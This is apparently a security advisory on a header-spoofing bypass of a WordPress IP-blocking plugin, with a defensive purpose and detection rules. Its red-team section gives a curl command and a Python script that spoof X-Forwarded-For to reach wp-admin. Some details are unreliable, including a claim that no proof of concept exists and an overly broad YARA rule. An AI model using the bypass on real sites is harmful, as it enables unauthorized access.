CVE-2024-30479

Executive Summary

CVE-2024-30479 is an Authentication Bypass by Spoofing vulnerability in the WordPress plugin IP Blocker Lite by LionScripts. This flaw allows an unauthenticated attacker to bypass the plugin’s IP-based blocking functionality by spoofing HTTP headers (e.g., X-Forwarded-For). The vulnerability affects all versions up to and including 11.1.1. With a CVSS score of 5.3 (Medium), the primary impact is a functionality bypass, enabling attackers to circumvent IP restrictions and access blocked resources. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor for updates from LionScripts and consider removing or disabling the plugin until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The low integrity impact reflects the ability to bypass IP-based restrictions, but not to modify data or gain elevated privileges.

Deep Dive & Mechanics

The IP Blocker Lite plugin is designed to block or allow access based on the client’s IP address. The vulnerability stems from the plugin’s reliance on the REMOTE_ADDR server variable or, more critically, on user-supplied headers like X-Forwarded-For or X-Real-IP without proper validation. An attacker can spoof these headers to impersonate a trusted IP address, thereby bypassing the blocklist.

Root Cause: The plugin fails to validate the source of the IP address. When the plugin is configured to trust proxy headers, it uses the value from X-Forwarded-For directly. An attacker can send a request with a spoofed X-Forwarded-For header containing an allowed IP, effectively bypassing the block.

Attack Flow:

1. Attacker identifies a target site using IP Blocker Lite.
2. Attacker sends an HTTP request with a spoofed X-Forwarded-For header set to a whitelisted IP (e.g., 127.0.0.1 or a known trusted IP).
3. The plugin reads the header and treats the request as coming from the spoofed IP.
4. The attacker gains access to restricted areas (e.g., admin pages, login forms, or content behind IP-based access control).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would need to validate the IP against the actual remote address or use a trusted proxy list.

Vulnerable Code (Conceptual):

// Vulnerable: trusts X-Forwarded-For without validation
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
if (in_array($ip, $whitelist)) {
    // allow access
}

Patched Code (Conceptual):

// Patched: validate against REMOTE_ADDR and trusted proxies
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && in_array($ip, $trusted_proxies)) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (in_array($ip, $whitelist)) {
    // allow access
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with IP Blocker Lite <= 11.1.1 installed and active.
• Knowledge of a whitelisted IP (e.g., 127.0.0.1 or an internal IP).

Exploitation Steps:

1. Identify the target URL (e.g., https://target.com/wp-admin/).
2. Send a request with a spoofed X-Forwarded-For header:

   curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/wp-admin/
   

3. If the plugin trusts the header, access is granted.

Automated Script (Python):

import requests

url = "https://target.com/wp-admin/"
headers = {"X-Forwarded-For": "127.0.0.1"}
response = requests.get(url, headers=headers)
if "wp-admin" in response.text:
    print("Bypass successful!")
else:
    print("Bypass failed.")

Blue Team

Detection:

• Monitor for requests with multiple or unusual X-Forwarded-For headers.
• Alert on access to restricted areas from IPs that are not in the expected range.
• Use WAF rules to block requests with spoofed headers from untrusted sources.

Honeypot:

• Deploy a fake restricted page that logs all X-Forwarded-For values and alerts on anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with X-Forwarded-For header containing 127.0.0.1, localhost, or internal IP ranges (e.g., 10.0.0.0/8, 192.168.0.0/16).
  • Repeated access attempts to /wp-admin/ or other restricted paths from varying source IPs but with the same spoofed header.

• File IOCs:

  • Plugin file: /wp-content/plugins/ip-blocker-lite/ip-blocker-lite.php (or similar).
  • Log entries in web server logs showing X-Forwarded-For values that do not match the actual remote IP.

Detection Engineering

YARA Rule

rule CVE_2024_30479_IP_Blocker_Lite {
    meta:
        description = "Detects IP Blocker Lite plugin files vulnerable to CVE-2024-30479"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $vuln_func = "HTTP_X_FORWARDED_FOR" nocase
        $vuln_assign = "REMOTE_ADDR" nocase
    condition:
        $vuln_func and $vuln_assign
}

Sigma Rule

title: CVE-2024-30479 - IP Blocker Lite Authentication Bypass via Spoofed Header
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with spoofed X-Forwarded-For headers targeting WordPress IP Blocker Lite
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "wp-admin"
        cs-headers|contains: "X-Forwarded-For"
    filter:
        cs-headers|contains: "X-Forwarded-For: 127.0.0.1"
    condition: selection and filter
falsepositives:
    - Legitimate proxy usage
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30479 - IP Blocker Lite Bypass via X-Forwarded-For"; flow:to_server; http.header; content:"X-Forwarded-For"; nocase; http.header; content:"127.0.0.1"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Use a Web Application Firewall (WAF) to block requests with spoofed X-Forwarded-For headers from untrusted sources.
3. Implement server-side validation to ensure that X-Forwarded-For is only trusted from known proxy IPs.

Long-term Fix:

• Monitor the LionScripts website or WordPress plugin repository for an official patch.
• Consider replacing IP Blocker Lite with an alternative plugin that properly validates IP addresses.

Workaround:

• Configure the web server (e.g., Apache/Nginx) to strip or overwrite X-Forwarded-For headers from external requests:

  # Nginx example
  proxy_set_header X-Forwarded-For "";
  

Valters IT